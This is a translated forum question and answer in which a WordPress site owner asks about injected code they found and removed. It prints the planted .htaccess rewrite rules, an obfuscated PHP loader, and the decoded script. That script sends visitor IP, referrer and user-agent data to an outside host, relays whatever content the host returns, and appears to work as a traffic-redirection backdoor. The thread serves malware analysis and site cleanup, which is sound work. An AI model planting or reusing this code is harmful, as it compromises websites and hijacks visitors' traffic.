这段代码是什么意思? (病毒寻找)

What does this code mean? (Virus Looking)

我想知道是否有人能弄清楚 php 中的代码是做什么的

我现在已经删除了它,但我很好奇它是如何到达那里的以及它做了什么

我在我的一个 wordpress 网站上找到了这个

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f 
RewriteCond %{REQUEST_FILENAME} !-d 
RewriteRule ^(emyiac-|showthrd-)(.*)$ /var/www/html/dglcreative/wp-content/emyiacimwqkfv-.php?p= [L]
</IfModule>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f 
RewriteCond %{REQUEST_FILENAME} !-d 
RewriteRule ^(auyaix-|showthrd-)(.*)$ /var/www/html/dglcreative/wp-content/auyaixfblclcc-.php?p= [L]
</IfModule>

其中一个文件包含:

<?php $TWRgwh3="6jsmOpAjZ5Bi5Ll2wfssHqB3cBfkZgGlMnzBalluE/Hi5mPZ9XQ6wo21mQNXZanQAAvE8X/GnjBNvD0dEbPCDPD1hoOiSjwuWReEae1cV3DnIhxxXbDWak5n7uteSIOeKlQ7HHX+fRlp/ESRTLFEgPHdF2y698RzSYrsp0rU8Aas3bH+gb6j+1D03qNaS/PUqReuTrZtETiQCi4LUHo4gRxzKp/6TXUk+aN3FzWOBI6Ini3YXbgcKPoop3wVviiKz9C3JuSg/eFgGqslnyo+eCmEk1Vl+NiIBBO8z9N+DA/VrM4z0DeobnbIbPlTrxqUPmOX1/SsphPhOgTvqi2mdbJQqEinevjitWI+BNPngJpO21mfOzu982FXRD/7vdcp1pnBoipzKLf7XEXOx0i3tcFVVB8/+5k5o4f8eYDPQawmvLN7fNr3SS126GLAkPVi9e6ovA6DRe78E5xzixe9iguUgvAyg1kk9vGHcICXoJ9tI8QaiP67W4j/L1scsNGGwZxRc41fLW0I1xFNZSlgOIpaMeIq2vrRvG6fXE8uUpSooTesUAmkzKfcJY8ixOAEI5JSS4QPfjgDqsvY5wVXx80CQvUBj1TF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x31\x33";@$kYIKQj($cBqLFy($syMk1BFi($ZTMvjgX($yW51kL))));?>

既然问题是 "what does this code mean?" 代码归结为以下内容。

如果我是你,我会开始查看我的访问日志文件,寻找 ?p= 包含在 url 中的条目。

<?php
header('Content-Type: text/html; charset=UTF-8');
$p = 'p'; 
$host='websys-nt.com';
$path='/wb0454545/';
$srvr=$_SERVER['HTTP_HOST'].'/';

function GetRealIp()
{
 if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
 {   $ip=$_SERVER['HTTP_CLIENT_IP'];}
 elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
 {  $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}
 else
 {   $ip=$_SERVER['REMOTE_ADDR'];}
 return $ip;
} 

if(isset($_GET[$p])) 
{
$r = GetRealIp();
if (strpos($_SERVER["HTTP_USER_AGENT"], "IP: ")!==FALSE) $r = substr($_SERVER["HTTP_USER_AGENT"], strpos($_SERVER["HTTP_USER_AGENT"], "IP: ")+4);

$param=$_GET[$p];
if (strpos($param, '.js') !== false)
{
$ext='.js';
$param = str_replace('.js','',$param);
$srvr='';
}
else if(strpos($param, 'prokl-') !== false)
{
$ext='.php?tds-q='.urlencode(substr($param, strpos($param, "prokl-")+6));
$param='prokl';
$srvr='';
}
else if(strpos($param, '.css') !== false)
{
$ext='.css';
$param = str_replace('.css','',$param);
$srvr='';
}
else if(strpos($param, '.gif') !== false)
{
$ext='.gif';
$param = str_replace('.gif','',$param);
$srvr='';
}
else if(strpos($param, '.htm') !== false)
{
$ext='.htm';
$param 
= str_replace('.htm','',$param);
$srvr='';
}
else if(strpos($param, '.jpg') !== false)
{
$ext='.jpg';
$param = str_replace('.jpg','',$param);
$srvr='';
}
else if(strpos($param, '.ico') !== false)
{
$ext='.ico';
$param = str_replace('.ico','',$param);
$srvr='';
}
else if(strpos($param, '.png') !== false)
{
$ext='.png';
$param = str_replace('.png','',$param);
$srvr='';
}
else{
$rf=$_SERVER['HTTP_REFERER'];
$ext='.php?ip='.$r.'&ref='.$ref;
}
$out ='';
$buff = '';
if ($curl = curl_init())
        {
        curl_setopt($curl, CURLOPT_URL, 'http://'.$host.$path.$srvr.$param.$ext);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
        $out = curl_exec($curl);
        curl_close($curl);
        }else{
        $fp = fsockopen($host, 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET ".$path.$srvr.$param.$ext." HTTP/1.1\r\n";
    $out .= "Host: ".$host."\r\n";
    $out .= "User-Agent: ".$_SERVER['HTTP_USER_AGENT']."\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        $buff.=fgets($fp, 128);
    }
    $result = explode("\r\n\r\n", $buff, 2);
    $out= $result[1];
    fclose($fp);
} 
    }
    echo $out;
    exit
    ;   
}       
?>